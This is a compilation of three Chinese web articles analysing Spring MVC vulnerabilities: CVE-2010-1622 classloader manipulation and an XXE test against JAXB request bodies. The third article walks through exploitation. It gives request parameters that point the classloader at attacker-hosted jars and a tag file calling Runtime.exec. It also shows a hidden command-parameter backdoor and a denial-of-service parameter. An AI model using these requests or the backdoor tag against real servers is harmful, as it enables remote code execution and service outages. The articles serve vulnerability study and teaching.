Spring MVC命令执行漏洞
http://book.51cto.com/art/201204/330094.htm
《白帽子讲Web安全》第12章Web框架安全,本章讲述了一些Web框架中可以实施的安全方案。Web框架本
身也是应用程序的一个组成部分,只是这个组成部分较为特殊,处于基础和底层的位置。Web框架为安全
方案的设计提供了很多便利,好好利用它的强大功能,能够设计出非常优美的安全方案。本节为大家介
绍Spring MVC命令执行漏洞。
12.7.3 Spring MVC命令执行漏洞
2010年6月,公布了Spring框架一个远程执行命令漏洞,CVE编号是CVE-2010-1622。漏洞影响范围如下:
SpringSource Spring Framework 3.0.0~3.0.2
SpringSource Spring Framework 2.5.0~2.5.7
由于Spring框架允许使用客户端所提供的数据来更新对象属性,而这一机制允许攻击者修改
class.classloader加载对象的类加载器的属性,这可能导致执行任意命令。例如,攻击者可以将类加载
器所使用的URL修改到受控的位置。
(1)创建attack.jar并可通过HTTP URL使用。这个jar必须包含以下内容:
META-INF/spring-form.tld,定义Spring表单标签并指定实现为标签文件而不是类;
META-INF/tags/中的标签文件,包含标签定义(任意Java代码)。
(2)通过以下HTTP参数向表单控制器提交HTTP请求:
class.classLoader.URLs[0]=jar:http://attacker/attack.jar!/
这会使用攻击者的URL覆盖WebappClassLoader的repositoryURLs属性的第0个元素。
(3)之后org.apache.jasper.compiler.TldLocationsCache.scanJars()会使用 WebappClassLoader的
URL解析标签库,会对TLD中所指定的所有标签文件解析攻击者所控制的jar。
这个漏洞将直接危害到使用Spring MVC框架的网站,而大多数程序员可能并不会注意到这个问题。
========
SpringMVC中的XXE漏洞测试
http://www.myhack58.com/Article/html/3/62/2015/60644.htm
SpringMVC框架支持XML到Object的映射,内部是使用两个全局接口Marshaller和Unmarshaller,一种实
现是使用Jaxb2Marshaller类进行实现,该类自然实现了两个全局接口,用来对XML和Object进行双向解
析。并且XML文件可以是DOM文档、输入输出流或者SAX handler。
SpringMVC流行使用注解来快速开发,其中JAXB注解可以对JavaBean中需要与XML进行转化的地方进行标
注。比如,实现XML文件到User对象的映射,User对象中使用JAXB注解:
当在SpringMVC中使用JAXB实现XML与Java Bean映射的时候,可能会导致XXE漏洞,因为SpringMVC中也可
以解析request body中的XML,其原理是在注解模式下,使用注解@RequestBody后,可以将HTTP请求的请
求体引入到我们的Controller的方法中,一般是作为方法的参数来使用。在开启annotation-driven的时
候,HttpMessageConverter会给AnnotationMethodHandlerAdapter初始化7个转换器。至于Spring是如何
选择合适的转换器的,这里没有读源码,猜测应该是通过Accept或者Content-type头来进行判断的。
如果应用程序没有做有效的处理,那么通过构造request body,我们可以实现外部实体的注入。比如,
Web应用中使用XML传递数据时,没有对外部实体的引用做限制,就可能导入外部实体,导致任意文件读
取。
在测试漏洞中,只需要在配置文件中对注解驱动与ViewResolver进行配置即可,
正常请求时:
在请求中标明提交一个application/xml类型的内容,并在request body中提交一个XML,内容为
name=exploit。提交请求,转向页面index.jsp,当然,在controller中我们做了一些处理,将转换的
user传给了jsp来呈现,代码为:
可以看到,控制台上打印了toString方法的内容:
index.jsp结果如下:
下面引入外部实体,提交:
[html] view plaincopy在CODE上查看代码片派生到我的代码片
]>
&shit;
这里与上面不同,引入了一个恶意的外部实体shit,并且在回显的位置
中使用这个实体,效果是
读取c盘下面的1.txt,内容为一串”2”,结果如下:
可以看到,外部实体成功引入并且解析,造成了XXE漏洞。
所以,SpringMVC中处理XML类型的请求体时,所用的转换器(Converter)是默认支持外部实体引用的,
通过官网的解决方案可以解决该漏洞:
https://jira.spring.io/browse/SPR-10806
========
Spring framework(cve-2010-1622)漏洞利用指南
http://www.2cto.com/Article/201204/126157.html
摘要
这个漏洞在2010年出的,,当时由于环境问题,并没有找到稳定利用的EXP。作者对spring mvc框架不熟
悉,很多地方不了解,结果研究了一半,证明了漏洞的部分严重性就放下了,没有弄出POC来。最近同事
也想研究下,勾起了研究兴趣,结果运气爆发,解决了当年没有搞定的N多问题和错误,这才终于让服务
器上的CALC跑起来。
当然,本文不会提供POC,只是对官方的POC分析一下,以及告诉大家怎么写自己想要的EXP,本文不会提
供黑客工具,只讨论技术。
正文
这个漏洞其实有两种玩法,一种是拒绝服务,一种是远程代码执行,其中还隐藏着一些其他技术内幕。
我们先从拒绝服务讲起,漏洞发布者并没有提到这里可能出现拒绝服务攻击,这是本文作者无意中发现
的。这个发现可以绕过tomcat的某段挫代码,下文中会“弱弱的”提到这个挫代码事情。
这篇文档其实对漏洞的介绍,已经非常明确了,基本上翻译过来就可以明了事情的经过,这里按照自己
的语言,讲讲重要的东西。
这是spring的漏洞,而这个漏洞的最佳体现,是spring mvc框架。经典的应用,经典的代码,最终却会
造成漏洞,这是框架漏洞的经典体现。开发人员如果使用了spring mvc框架,必然会这样写代码,官方
也推荐表单绑定对象这种做法,这种做法,却由于框架的环境,导致了漏洞。
漏洞原理
Spring mvc可以让开发者定义一个java bean对象,实现getter和setter方法,之后绑定到表单中,以方
便开发人员使用。
这段代码,
是一个java bean对象,叫做User.
public class User {
private String name;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
}
可以把它绑定到一个Controller
@Controller
public class TestController {
@RequestMapping("/test.htm")
public String execute(User user){
System.out.println(user.getName());
return "success";
}
}
用户就可以直接提交
http://www.inbreak.net/test.htm?name=kxlzx
于是TestController就会自动把name=kxlzx变成对象user.name的值。
这一切自动的过程,得益于spring mvc提供的字段映射功能,这个功能会自动发现user对象中的public
方法和字段,如果user中出现public的一个字段,就自动绑定,并且允许用户提交请求给他赋值。
比如user类中出现
Public String name;
用户提交name=kxlzx,就可以给它赋值。
如果出现public的setter方法,也会允许赋值。
比如user类中出现
public void setName(String name) {
this.name = name;
}
即可允许用户提交name=kxlzx赋值。
但是如果是
Private String name;
并且没有setter方法,就会不允许赋值。这也是出于安全考虑,不能把user中所有的属性都暴露出去。
现在问题来了,在java的世界里,所有的对象,都默认继承了Object基础类,这个类竟然有个方法叫做
Public Class getClass()
意味着所有的对象,包括user在内,用户默认都可以使用
/test.htm?class=xxx
去给它赋值。当然,class的类型并不是基础类型(string,int,long,double等等),所以用户即使提交
了赋值其实没有任何含义。
好在我们可以继续访问下去,Object的getClass方法,返回class对象,class对象中有个方法叫做
getClassLoader,这个方法返回ClassLoader对象,用户可以这样访问。
/test.htm?class.classLoader=xxx
危险的东西出现了,此对象,代表着程序运行环境的classLoader。随着web容器的不同,大家对这个东
西的实现方式不一样。在tomcat上,也就是spring mvc拿到tomcat上运行时,它会变成
org.apache.catalina.loader.WebappClassLoader
可以从tomcat的api文档中,查到这个类的一些字段。
http://tomcat.apache.org/tomcat-6.0-
doc/api/org/apache/catalina/loader/WebappClassLoader.html
一旦这个类中,出现了可以set的字段,用户就可以提交url请求,改变其中的值。classLoader是一个可
以影响所有class加载的重要东西,一旦其中一些字段发生改变,应用程序中就可能会发生各种诡异的事
情,造成应用不正常,甚至所有页面都访问出错。你知道我在说什么,是的,拒绝服务。
Spring mvc 拒绝服务漏洞
翻阅api文档,可以看到有很多字段,都实现了setter方法,这些字段名称比较诡异,大多都是“对我们
”没什么作用的字段,影响不大。唯有一个危险字段,叫做delegate,这个字段可以直接修改掉。
public void setDelegate(boolean delegate) {
this.delegate = delegate;
}
这个字段,是tomcat决定class加载顺序用的,或许在这文章中,和大家扯一段类加载的东西不太容易理
解,所以不提原理,我们看篇文章,请大家直接google,作者就不点名了。
java.lang.ClassCastException: org.apache.catalina.util.DefaultAnnotationProcessor 解决
文章中会讲到两个信息:
1、他们遇到了严重错误,导致所有页面打不开,爆这个错误。
2、网友们建议的解决方式,是设置tomcat如下:
在tomcat conf 下目录中context.xml中增加
如下节点即可。
也就是说,这个值,必须设置为true,否则他的应用就会挂掉。
下面做个小测试,在我们项目中加入一个tomcat的lib下的jar包,叫做“catalina.jar”,放入/WEB-
INF/lib/下面,启动tomcat,于是所有的页面,都打不开了。按照解决方式,设置tomcat后,变为正常
。
但是出了spring mvc的远程代码执行漏洞后,这个设置会变得非常脆弱,只要攻击者提交
http://www.inbreak.net/springmvc/testjsp.htm?class.classLoader.delegate=false
就会有很多页面,都出现下图这个诡异的问题。这是因为第一次编译jsp页面时,由于类加载顺序错误,
而产生的错误。
\
打开URL后,凡是tomcat启动后,曾经被访问过一次以上的页面,都是正常的,只有那些从来没有访问过
的页面,第一次访问时,就会出现这个错误。
真是怪异的答案,这是另类的拒绝服务攻击,有些页面正常,有些页面不正常,只要控制好攻击时间,
这个攻击时间,和启动服务器的时间越近,威力越大。其实威力大不大无所谓,因为没有任何一个网站
,所有的页面,会在1天内被人访问个遍,所以作为系统管理员,看到这个错误,已经非常头疼了。
struts2 dos漏洞
是的,它也受影响。远程代码执行漏洞,是spring出的,很多项目都用到了spring的核心,spring mvc
只是这个漏洞的最佳体现而已。Struts2其实也本该是个导致远程代码执行漏洞才对,只是因为它的字段
映射问题,只映射基础类型,默认不负责映射其他类型,所以当攻击者直接提交URLs[0]=xxx时,直接爆
字段类型转换错误,结果才侥幸逃过一劫罢了。
逃得了初一,
却逃不过十五,在攻击者提交
/struts2/testjsp.htm?class.classLoader.delegate=false
给struts2时,struts2看到的是个boolean类型,属于基础类型,所以这个值就被修改掉了。当web容器
是tomcat时,它一样受到影响,现象和spring mvc一致。这里就不抓图了。顺便说上一句,struts2提供
自定义类型转换功能,欢迎大家把URL类,做自定义类型转换处理,有了这个处理,效果就和spring mvc
中的远程代码执行一致了。作者还不至于找个struts2应用,故意配置一个自定义类型转换后,假装自己
发现了个远程代码执行漏洞。只是想来这种业务场景极少,比较适合对公司不满的开发人员留后门用,
谁又能想到开发一个这样没有意义的功能,居然有天会引发远程代码执行呢?
Spring mvc数组只读权限绕过漏洞
非常有趣的特性,前文提到,只有在一个字段为public,或者字段的setter方法为public时,才会允许
用户提交参数,修改这个字段的值。所以这里是个权限绕过漏洞,当一个数组对象的代码如下:
private String names[];
public User(){
names = new String[]{"1"};
}
public String[] getNames() {
return names;
}
看到了,names这个数组,只是在构造方法中初始化了一下,并没有public个setter方法出来,甚至
setter方法都没有实现。理论上,应该是个只读的字段,但是只要用户提交
/springmvc/testjsp.htm?names[0]=xxxxx
它的值,居然被修改了!
这个漏洞,是远程代码执行漏洞的基础,如果这样的值不能被修改,也就不可能出现URLs被修改后,导
致的远程代码执行漏洞了。现在大家知道了这样的代码会出问题,再看看tomcat的WebappLoader类,继
承URLClassLoader类,URLClassLoader的一个方法叫做getURLs,返回一个数组。只要一个getter返回的
是一个数组,就会绕过安全限制。下面我们继续看看远程代码执行是怎么产生的。
Spring mvc远程代码执行漏洞
这里才是主料的开始,现在再来看看怎么才能远程代码执行,每次想到这里,都会想到这个老外太有才
了。
getURLs方法,其实用的地方真的不多,只有在TldLocationsCache类,对页面的tld标签库处理时,才会
从这一堆URL中获取tld文件。它的原理是从URL中指定的目录,去获取tld文件,允许从网络中获取tld文
件。当一个tld放在jar中时,可以通过
jar: /kxlzx.jar!/
这个URL,会下载到tomcat服务器一个jar文件,然后从jar文件中,寻找tld文件,并且根据tld文件,做
spring mvc标签库的进一步解析。
Tld文件自己有个标准(详见jsp标签库),在解析的时候,是允许直接使用jsp语法的,所以这就出现了
远程代码执行的最终效果。
这是spring-form.tld原本的部分内容示例
\
Form标签里面有个input的标签,会根据开发人员的定义,给这些参数默认赋值,前面说到它是支持jsp
语法的,所以拿spring原本的/META-INF/spring-form.tld文件,替换其中内容,可以把这个tld的原本
input tag的内容替换为:
input
/META-INF/tags/InputTag.tag
这样指定让一个tag文件解析。
还缺一个/META-INF/tags/InputTag.tag
<%@ tag dynamic-attributes="dynattrs" %>
<%
j java.lang.Runtime.getRuntime().exec("mkdir /tmp/PWNED");
%>
做出这样的替换后,当开发者在controller中将任何一个对象绑定表单,并且最终展示的jsp内容有下面
这些:
<%@ taglib prefix="form" uri="http://www.springframework.org/tags/form"%>
攻击者访问url:
/springmvc/testjsp.htm? class.classLoader.URLs[0]=jar:http://www.inbreak.net/spring-
exploit.jar!/
即可触发远程代码执行的效果,漏洞发布者写的POC真的很囧。原本页面会显示一个文本框才对,现在变
成了一个空白,并且后台执行命令
mkdir /tmp/PWNED
注意,是所有的页面,凡是有input的地方,都会变成空白,这个标签直接被替换掉。
Tomcat的开发人员抽风
不得不说,想触发漏洞,其实还得过tomcat这一关,这才是几次研究,都失败的罪魁祸首,真够恼火。
想不通,这个漏洞关你tomcat鸟事?你有事没事出个补丁,害的我调试不出来!
http://svn.apache.org/viewvc/tomcat/trunk/java/org/apache/catalina/loader/WebappClassLoader
.java?r1=964215&r2=966292&pathrev=966292&diff_format=h
居然在tomcat6.0.28之后的版本,把
return repositoryURLs;
改为了
return repositoryURLs.clone();
还美其名曰:
Return copies of the URL array rather than the original. This facilitated CVE-2010-1622
although the root cause was in the Spring Framework. Returning a copy in this case seems
like a good idea.
想骂这帮家伙,good你妹idea!
这样的修改,导致了spring mvc远程代码执行漏洞触发失败,就因为spring mvc拿到的是个克隆的URLs
,不是真的URLs,给了一个山寨货,修改的并非原本的URLs。作者调试了很久很久,换了N种spring mvc
controller的实现,都没有搞定。嗯。。。后来虎躯一震,猜到这是有个家伙在做手脚,果断翻阅
tomcat的svn diff,果然看到这个文件被一个阴险的家伙做了手脚。
也就是说,如果服务器大于tomcat6.0.28版本,远程代码执行,是不可能了,最多可以DOS一下,参见前
文章节。写这一节,只是发发牢骚,大家调试时候注意一下,不要上当了。
和谐利用的EXP
很显然,漏洞发布者提供的EXP是不符合期望的,一旦用了之后,被攻击的网站立刻显示异常,傻子都知
道出了问题了。所以要改到和谐为止,想来和谐的EXP,应该是符合“想让它执行,就执行,不想让执行
,就显示正常“。
下载spring-form.tld,给其中的inputtag改名,name改为inputkxlzx:
inputkxlzx
随便什么名字都可以。新加入一个tag,叫做input:
input
/WEB-INF/tags/InputTag.tag
InputTag.tag的内容(本文只讨论技术,为减少危害,此文件不能直接使用,只有懂得人才可以看懂)
:
…
if (request.getParameter("kxlzxcmd")!=null)
exec(request.getParameter("kxlzxcmd"));
…
精华就在这里,多么和谐啊
,替换了原来的input tag,并且还拥有input tag的功能。页面显示的还是原来的input,不影响原本的
业务逻辑,页面看不出什么来。
只有在攻击者提交kxlzxcmd时,会执行系统命令,其实这也不够和谐,最和谐的,是搞个webshell出来
。
看看效果:
\
这个叫做name的Input仍然可以获取值(kxlzx),正常使用不出错,只有参数中有kxlzxcmd时,才会触发
。
总结
最后总结一下漏洞的局限:
1、spring mvc远程代码执行必须使用了spring标签库才可以,否则不能最终加载tld文件。
2、spring mvc 拒绝服务漏洞只是一个随机出现的福利,因为服务器上的应用程序不一定class加载顺序
倒置就会出问题。
3、原公布者的POC是绝对不能用的,用了之后服务器只能等待重启了,只要你用了,就准备和管理员打
招呼吧。
4、本文所提EXP并非最好的,最好的当然是写个shell什么的。
5、由于exp都是替换了input tag,所以必须当前页面中存在input tag,才能触发,当然一个正常的web
应用中必然有这样的页面。
至于修补漏洞什么的大家自己查,这不是什么新漏洞,只是心血来潮的一篇分析文。技术是不能停止研
究的,所以时不时得练练兵,所以才有了这篇。如果看懂了,至少写的EXP,是没问题的,也不至于老外
发了这么旧的文章和公告,居然没有听到有人打成功过,而国内每次都是逐字翻译,木有任何自己的理
解、研究和说明,这样不好。
========